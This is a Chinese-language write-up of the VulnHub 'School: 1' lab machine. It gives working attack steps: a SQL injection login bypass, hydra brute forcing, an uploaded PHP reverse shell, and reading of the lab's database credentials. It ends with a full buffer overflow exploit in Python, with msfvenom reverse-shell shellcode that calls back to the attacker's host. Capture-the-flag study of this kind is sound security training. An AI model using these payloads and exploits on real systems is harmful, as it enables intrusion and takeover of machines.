一、靶机介绍

靶机下载地址:[School: 1 ~ VulnHub](https://www.vulnhub.com/entry/school-1,613/#:~:text=Name: School: 1. Date release: 4 Dec 2020. Author: foxlox.)

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • SQL注入
  • 信息泄露
  • 文件上传
  • 离线密码破解
  • 在线密码破解
  • WINE
  • 缓存区溢出
  • EXP代码编写
  • 本地提权

二、主机发现

arp-scan -l

发现靶机地址为10.0.2.19

image-20241009114901857

三、端口扫描

nmap -p- -Pn 10.0.2.19
nmap -p22,23,80 -sC -sV 10.0.2.19

发现靶机22,23,80端口开放

23端口有点像windows的远程服务

22和80分别还是对应的是ssh和web服务

image-20241009115002386

四、登录框密码爆破

访问80端口,发现是个登录框,可以使用hydra爆破也可以使用万能密码登录

4.1、万能密码登录

登录框输入这个,就可以登录成功

'or 1=1-- -

4.2、hydra爆破

这里也可以使用burp爆破,但是由于返回值只是一个3,使用burp爆破,密码正确时状态和错误的一样都是200,并且返回长度也和错误的一样,相当于正确的账号和密码淹没在错误中,不容易看到

使用hrydra提交表格方式进行爆破,随便输入一个查看响应包,

发现错误时返回信息:是数字3

提交类型是:post

可以在请求类型中可以看到原始类型:username=admin&password=admin

image-20241009133721532

hydra 10.0.2.19 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r\n3" -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -vV -f

解释:

10.0.2.19 :是目标ip的

http-form-post:POST提交方式

“/student_attendance/ajax.php? “:后台登录的地址

username=^USER^&password=^PASS^: ^USER^和^PASS^都是占位符

\r\n\r\n3 : 报错信息由于服务器返回起始数据”\r\n\r\n“,实际内容是3,\r\n在html中对应换行,意思就是返回值如果是3的话,就说明这个是错误的需要继续爆破

-vV 显示详细信息

-f 破解出一个就停止

账号是admin

密码是admin123

image-20241009141644432

五、源代码信息泄露

登录进入后查看源代码

发现一个文件上传的路径

image-20241009134832926

http://10.0.2.19/student_attendance/assets/uploads/

可以直接访问,该目录下是空

继续查看源代码,发现一个新的路径

image-20241009135131347

访问该路径

http://10.0.2.19/student_attendance/index.php?page=site_settings

在最下面发现一个文件上传点

image-20241009135150017

六、文件上传

尝试后发现可以上传php代码,直接将kali自带的php反弹代码拿来使用

注意别忘记反弹shell中的反弹地址更改为kali的

vim php-reverse-shell.php
nc -lvnp 1234
python -c "import pty; pty.spawn('/bin/bash')"

内容随便填,提前监听端口,上传成功后,直接就监听成功了,不用在点击触发了

image-20241009140418242

成功接收

image-20241009140342740

七、主机信息搜集

查看网站目录下是否存在敏感信息,发现存在一个数据库的php代码,查看源代码发现用户名和密码

cd /var/www/html/student_attendance
cat db_connect.php

fox

trallalleropititumpa

image-20241009141753527

连接数据库

mysql -u fox -p
trallalleropititumpa
show databases;
use student_attendance_db
select *from users;

在数据库中查看到了两对账号和密码

image-20241009142013558

直接在线MD5解密

md5在线解密破解,md5解密加密 (cmd5.com)

jsmith@sample.com 

06232014

但是发现没什么用,ssh连接不上

image-20241009142147623

查看一下mysql的运行权限,如果是root权限运行的话,可以通过mysql尝试提权,但是发现并不是root权限运行的

ps -ef |grep mysql
cat /etc/passwd |grep /bin

查看账号,发现有三个用户有bash权限,发现分别是root、ppp、fox这三个

image-20241009142618986

访问这两个用户目录,在fox下发现第一个flag

cat /home/fox/local.txt

image-20241009143009601

八、提权

8.1、信息搜集

查看root目录下的权限,发现root目录下,存在win脚本,并且查看win的内容,发现有个exe文件,exe是windows的执行文件的后缀,并不是linux系统的

cd /root/win/.wine
cat win
cd dosdevices

image-20241009143526726

发现.wine这个目录下,z:这个类似于windows下的盘符,映射到linux下的根目录了

image-20241009143416179

cd z:
ls -al

image-20241009143637398

在之前win文件中查看可执行文件在这个目录下

cd /opt/access
ls -al
ps -ef

使用ps命令查看进程,发现这个程序是root用户执行的

image-20241009144657508

8.2、缓存区溢出

这里我并没有进行调试,直接用的网上poc进行的提权

调试过程参考:

26 SCHOOL: 1靶场(完成) (yuque.com)

image-20241009151537950

大概方法如下,这些脚本都是在kali中运行,并且将ip改为靶机的ip后,运行一下

#/usr/bin/python
import sys
import socket
from time import sleep
try:
buffer = 'A' * 2000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.19', 23))
s.send(buffer)
s.close()
print('\nDone!')
except:
print('Error!')
#/usr/bin/python
import sys
import socket
from time import sleep
try:
buffer = 'A' * 1902 + 'B' * 4 + 'C' * 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.19', 23))
s.send(buffer)
s.close()
print('\nDone!')
except:
print('Error!')

使用msf生成payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread

LHOST是反弹shell的ip,就是kali的ip

-f c 就是c语言

EXITFUNC=thread 就是程序崩溃时以线程的方式退出

image-20241009151709122

将这下面的shellcode替换为自己生成的,将ip换成靶机的ip

#!/usr/bin/python
import sys
import socket
from time import sleep

try:
shellcode = (
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
"\x0e\x63\xcb\x41\xb3\x83\xee\xfc\xe2\xf4\x9f\x23\xc3\xb3"
"\x63\xcb\x21\x3a\x86\xfa\x81\xd7\xe8\x9b\x71\x38\x31\xc7"
"\xca\xe1\x77\x40\x33\x9b\x6c\x7c\x0b\x95\x52\x34\xed\x8f"
"\x02\xb7\x43\x9f\x43\x0a\x8e\xbe\x62\x0c\xa3\x41\x31\x9c"
"\xca\xe1\x73\x40\x0b\x8f\xe8\x87\x50\xcb\x80\x83\x40\x62"
"\x32\x40\x18\x93\x62\x18\xca\xfa\x7b\x28\x7b\xfa\xe8\xff"
"\xca\xb2\xb5\xfa\xbe\x1f\xa2\x04\x4c\xb2\xa4\xf3\xa1\xc6"
"\x95\xc8\x3c\x4b\x58\xb6\x65\xc6\x87\x93\xca\xeb\x47\xca"
"\x92\xd5\xe8\xc7\x0a\x38\x3b\xd7\x40\x60\xe8\xcf\xca\xb2"
"\xb3\x42\x05\x97\x47\x90\x1a\xd2\x3a\x91\x10\x4c\x83\x94"
"\x1e\xe9\xe8\xd9\xaa\x3e\x3e\xa3\x72\x81\x63\xcb\x29\xc4"
"\x10\xf9\x1e\xe7\x0b\x87\x36\x95\x64\x34\x94\x0b\xf3\xca"
"\x41\xb3\x4a\x0f\x15\xe3\x0b\xe2\xc1\xd8\x63\x34\x94\xe3"
"\x33\x9b\x11\xf3\x33\x8b\x11\xdb\x89\xc4\x9e\x53\x9c\x1e"
"\xd6\xd9\x66\xa3\x4b\xb3\x61\xcf\x29\xb1\x63\xda\x1d\x3a"
"\x85\xa1\x51\xe5\x34\xa3\xd8\x16\x17\xaa\xbe\x66\xe6\x0b"
"\x35\xbf\x9c\x85\x49\xc6\x8f\xa3\xb1\x06\xc1\x9d\xbe\x66"
"\x0b\xa8\x2c\xd7\x63\x42\xa2\xe4\x34\x9c\x70\x45\x09\xd9"
"\x18\xe5\x81\x36\x27\x74\x27\xef\x7d\xb2\x62\x46\x05\x97"
"\x73\x0d\x41\xf7\x37\x9b\x17\xe5\x35\x8d\x17\xfd\x35\x9d"
"\x12\xe5\x0b\xb2\x8d\x8c\xe5\x34\x94\x3a\x83\x85\x17\xf5"
"\x9c\xfb\x29\xbb\xe4\xd6\x21\x4c\xb6\x70\xa1\xae\x49\xc1"
"\x29\x15\xf6\x76\xdc\x4c\xb6\xf7\x47\xcf\x69\x4b\xba\x53"
"\x16\xce\xfa\xf4\x70\xb9\x2e\xd9\x63\x98\xbe\x66"
)

buffer = 'A' * 1902 + '\xdd\x12\x50\x62' + '\x90' * 32 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.19', 23))
s.send(buffer)
s.close()
print('\nDone!')
except Exception as e:
print('Error!', e)

nc -lvnp 4444		# 监听端口
python2 poc.py # 运行exp
dir # 反弹成功查看目录
cd /root

image-20241009151756521

type proof.txt # 查看flag

image-20241009151809370